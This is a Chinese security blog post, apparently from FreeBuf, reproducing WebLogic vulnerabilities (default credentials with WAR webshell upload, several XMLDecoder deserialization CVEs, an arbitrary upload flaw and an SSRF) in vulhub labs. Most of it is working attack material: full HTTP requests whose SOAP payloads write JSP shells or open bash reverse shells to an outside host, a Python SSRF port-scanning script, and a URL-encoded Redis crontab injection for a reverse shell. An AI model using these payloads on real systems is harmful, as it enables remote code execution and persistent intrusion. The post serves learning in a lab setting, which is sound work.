freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

weblogic漏洞复现系列一
baierr 2021-09-01 21:20:11 1776268

weblogic漏洞(一)

Weblogic是美国Oracle公司出品的一个应用服务器(application server),一个基于java EE的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。本文漏洞全部环境都为vulhub环境。

weak_password

输入console进入管理后台登录:

默认的密码是weblogic/Oracle@123,登录

在后台点击部署安装

上传文件

制作war包

jar -cvf xxx.war xxx.jsp

上传war包

然后一路next最后完成。

1630501604_612f7ae478a0e9d7eeb89.png!small?1630501604347

蚁剑连接:

1630501635_612f7b031a6819e56036e.png!small?1630501634943

CVE-2017-3506

xmldecoder反序列化漏洞

原因:

这当中有weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法,这个方法当localHeader1localHeader2都不为null的时候就会把数据包中work:WorkContext标签中的数据传递给weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法,而在readHeaderOld中实例化了WorkContextXmlInputAdapter类,在这个类里会将传递过来的XML进行XMLDecoder的处理。

XMLDecoder这个方法可以将xml对象反序列化为一个map对象,但是在反序列化的过程中会执行xml标签中的命令。我们可以控制传入的xml数据,从而导致命令的执行。

验证:

访问一下目录若存在则存在:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

1630501672_612f7b28a89543de8203a.png!small?1630501672513

复现

在该页面抓包然后修改包为post,数据格式为text/xml

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983
Connection: close
Content-Type: text/xml
Content-Length: 611

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/baierr.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello baierr"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

这句话会写入一个baierr.jsp访问会打印,以此验证写shell

1630501683_612f7b336f1f77f694972.png!small?1630501684320

1630501690_612f7b3a92ab2b7b4ebe2.png!small?1630501690349

反弹shell:

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983
Connection: close
Content-Type: text/xml
Content-Length: 646

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/xxx.xxx.xxx.xxx/1314 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1630501704_612f7b48b41c74c09fe82.png!small?1630501705179

收到反弹shell:

1630501711_612f7b4f43a0018430163.png!small?1630501711072

CVE-2017-10271

介绍

3506爆出来后第一次修复,修复的地方就是在WorkContextXmlInputAdapter类中加入了方法validate来过滤,然后是只过滤了<object>标签,可以换成array,void,new等绕过。

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983
Connection: close
Content-Type: text/xml
Content-Length: 611

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.8.0" class="java.beans.XMLDecoder">
<var class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/baierr.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello baierr"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2019-2725

介绍

是10271的又一绕过,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。这里是换了个漏洞入口,并且利用了processRequest方法,功能是分割xml,然后把xml交给readHeadOld。

1630501871_612f7befc79be108724db.png!small?1630501871654

这里传入的var4的值会再次传到xmldecoder中然后就和之前一样导致命令执行。

判断

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

返回页面则存在该漏洞

1630501892_612f7c04ad2e2ed9c01cd.png!small?1630501892485

在该页面发送反弹shell数据包

POST /_async/AsyncResponseService HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_6809c4d9953f5afcfe906ac76fa71351=1630056737; __TOKEN_STR__=GwxrMBdYmhPjzFQjHMkGWZhSCBcKs2ph; PHPSESSID=7cn2h9mrdhgigdb4u5fp9qisjo; ADMINCONSOLESESSION=f1HhhtJG85wZsjZx6gFNDTFBFHTnpx3hJljXPn004pMGYCt7G0T0!-1612411983; JSESSIONID=Q9pvhtkLTQxpYPV2L2X8F1H4czVnHQBb2qv2LWpR2FBXj4LQPlqC!1853482677
Connection: close
Content-Type: text/xml
Content-Length: 786

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/xxx.xxx.xxx.xxx/1314 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

1630501906_612f7c12836f869622d93.png!small?1630501906326

CVE-2018-2894

原理

该漏洞需要在weblogic的开发环境中,有两个任意文件上传点:1./ws_utc/begin.do 2./ws_utc/config.do 。

weblogic中设置一个新的工作目录后会把原来目录下的全部拿到新设定的目录中,旧的目录也会存在,所以最开始我们要配置新的工作目录来让我们的访问可达,默认的访问目录是不可达的。然后就是两个上传点的选择:一是从config.do中上传keystore文件,上传后获取timestamp参数,小马路径为设置的工作目录/config/keystore/timestamp_上传的文件。二是从begin.do中上传,这条路径的话服务端会先判断目录下是否有upload目录,不存在就会创建一个,然后在upload目录下创建Rs_Upload_格式化后的时间命名的目录,小马文件名被命名为import_file_上传文件.jsp。贴一张其他师傅的图:

1630501921_612f7c216310c2e77884a.png!small?1630501921410

复现

查看weblogic的密码

docker-compose logs | grep password

1630501943_612f7c37aa176807b26b7.png!small?1630501943500

首先修改为开发环境:

1630501953_612f7c411ed61ac824871.png!small?1630501953086

1630501960_612f7c488091b4c63a747.png!small?1630501960385

保存后变为开发环境。

修改工作目录为可以访问到的目录。

直接访问ws_utc/config.do这里可以直接访问到而不需要登入测试客户端,未授权访问。然后把工作目录设置成css静态文件目录,这样我们就可以无权限的访问到上传的马了。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

1630501969_612f7c51db57ccfa965bd.png!small?1630501969683

1.config.do

点击下面的安全页面上传keystore文件

1630501980_612f7c5cc8d9987c3cc74.png!small?1630501980593

1630501987_612f7c63bdbb8410b0601.png!small?1630501987618

返回的时间戳为1630466372865,当然也可以直接上传后在前端看标签里的id。

1630502003_612f7c739301e49e5ebe9.png!small?1630502003365

蚁键连接,路径如下,若连接不上可以试试冰蝎马。

ws_utc/css/config/keystore/1630466372865_passwd.jsp

1630502011_612f7c7b653ad4a2b5969.png!small?1630502011226

2.begin.do

进入路径/ws_utc/begin.do,上传测试用例

1630502018_612f7c82c9da7d1c27abd.png!small?1630502018663

上传成功后返回包中会有路径,文件命名方式和name和filename有关,虽然会返回的测试用例导入错误是因为文件的格式和数据不能处理导致方法createUnmarshaller抛出的空指针错误,所以返回码为500是表示上传成功了。

1630502026_612f7c8a13b4dfa7692b0.png!small?1630502026340

访问路径为:

/ws_utc/css/upload/RS_Upload_2021-09-01_03-33-50_727/import_file_name_passwd.jsp

蚁剑连接

1630502032_612f7c9022e8bc381cc74.png!small?1630502031958

CVE-2014-4210

SSRF漏洞

在/uddiexplorer/SearchPublicRegistries.jsp出存在的ssrf漏洞,该漏洞是因为参数operator的值是被设置到Search的m_inquiry类的url属性上,然后去调用方法getResponse获取返回包,然后到findBusinessListByName方法中,在这个方法里调用了m_inquiry类里的findBusiness方法,findBusiness中使用了UDDISoapMessage中的sendMessage方法并且将之前的url属性的值也就是我们的operator传入,这个方法会去构造soap的消息然后进行发送,使用了binding.send方法发送,这个方法发送的方式就是调用URL.openConnection,这个方法就是漏洞的触发点,它对传入的url发起请求,这个过程中没有过滤,用户可以控制其发起请求。

复现

在该/uddiexplorer/SearchPublicRegistries.jsp处抓包,然后修改operator参数为本地的不同端口,因为weblogic的7001端口返回值是404,所以返回信息为404,而无法访问的会返回could not connect信息。

1630502046_612f7c9e1596c60b68bc3.png!small?1630502046463

1630502052_612f7ca42129414606b2e.png!small?1630502052399

对于内网的网段实战中可以在/uddiexplorer/SetupUDDIExplorer.jsp查看

1630502058_612f7caab49ee29d3fb40.png!small?1630502058575

我们这里是vulhub的docker我们可以进入容器看一下

查看docker的id
docker ps -a
进入容器中
docker exec -it id值 /bin/bash  

1630502070_612f7cb673391ce502fdc.png!small?1630502070244

对内网进行探测可以用burp的爆破模块也可以使用python:

burp将数据包添加两个点,然后选择Cluster bomb模式。

1630502079_612f7cbf7dccc9daecf55.png!small?1630502079527

在payload设置第一个从1到225,第二个导入端口的字典进行探测。

1630502085_612f7cc51330fd8eaf674.png!small?1630502085167

但是需要去根据不同返回数据包长度来查看比较麻烦。

python这里使用bmjoker师傅的脚本

import _thread
import time
import re
import requests


def ite_ip(ip):
for i in range(1, 22):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print(final_ip)
try:
_thread.start_new_thread(scan, (final_ip,))
except:
print("error")
time.sleep(3)

def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://114.115.160.241:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
print(result1)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print('[!]'+final_ip + ':' + port)
except Exception as e:
pass


if __name__ == '__main__':
ip = "172.22.0"
if ip:
print(ip)
ite_ip(ip)
else:
print("no ip")

Redis通过换行符来分割每一条命令,同时在weblogic的SSRF中get请求里可以通过%0A%0D来表示换行符。

进行redis未授权访问反弹shell,写入redis计划任务,下面的意思是每一分钟就反弹shell到vps中,计划任务的位置为/etc/crontab

set X "\n\n\n\n* * * * * root bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

因为是get方式,将其进行url编码:

baierr%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.115.160.241%2F1314%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Abaierr

1630502096_612f7cd0e2b60a4d25a50.png!small?1630502096860

反弹的shell:

1630502103_612f7cd75ad4434c6e5e1.png!small?1630502103140

参考链接

https://www.freebuf.com/vuls/178510.html

https://www.cnblogs.com/bmjoker/p/9759761.html

https://www.freebuf.com/vuls/179579.html

# web安全 # weblogic # 中间件
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 baierr 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
攻防渗透宝典
baierr LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 5 关注者
yii2反序列化漏洞初探
2022-09-10
Log4j2漏洞简单分析
2022-03-22
sql报错注入
2021-08-24
文章目录